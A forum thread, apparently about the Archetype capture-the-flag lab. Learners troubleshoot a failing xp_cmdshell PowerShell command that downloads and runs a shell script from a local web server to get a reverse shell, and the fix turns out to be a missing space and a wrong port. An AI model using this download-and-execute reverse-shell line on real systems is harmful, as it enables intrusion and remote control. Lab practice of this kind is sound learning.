Archetype: New-ObjectNet.WebClient Error Message

Hi All

All initial steps on Archetype went smoothly, and I checked the walkthrough to make sure I was on-track, but then after getting mysql login, I tried using xp_cmdshell "powershell "IEX (New-ObjectNet.WebClient).DownloadString("http://10.10.10.12/shell.ps1");" to get a reverse shell (IP & ports are correct, web server and nc are started in same folder as .ps1 script etc).

Initially (the first ten or so attempts) I would get no error, just a new SQL> line prompt but no activity on the web server or nc. I then tried different powershell scripts but no luck with those either, so went back to the walkthrough script and restarted my Kali machine, installed ufw and set exceptions for 80 & 443 and tried the process again from scratch, this time getting the following error (also tried adding an extra closing parentheses but no difference):

New-ObjectNet.WebClient : The term ‘New-ObjectNet.WebClient’ is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.

At line:1 char:6

  • IEX (New-ObjectNet.WebClient).DownloadString("http://10.10.10.12/shel

  •  ~~~~~~~~~~~~~~~~~~~~~~~                                                     
    
    • CategoryInfo : ObjectNotFound: (New-ObjectNet.WebClient:String) [], CommandNotFoundException

    • FullyQualifiedErrorId : CommandNotFoundException

NULL

I’ve searched the forums and found someone with the same issue but no details of if/how it was resolved.

I know it’s a noob question but I’ve tried everything I can think of to get it working and it just won’t. I’d like to complete it before I move on to the next box so if anybody can help it would be very much appreciated!

Cheers.

Hey, i have the same Problems. All right (i think) configured and i see the ps1 script via Browser of the VPN IP but Execute doesnt work. Anybody an Idea?

Here a Screenshot of my Configure:

Hey, it’s not New-ObjectNet.WebClient it should be New-Object Net.WebClient . Is there a space after the New-Object?

Hey Morjan, ok that works but and i see a connect on nc but if i write anything its come an error.

i think “keep alive” is wrong but i dont know why

Edit: i found the Problem, wrong Port on shell :smiley: layer 8…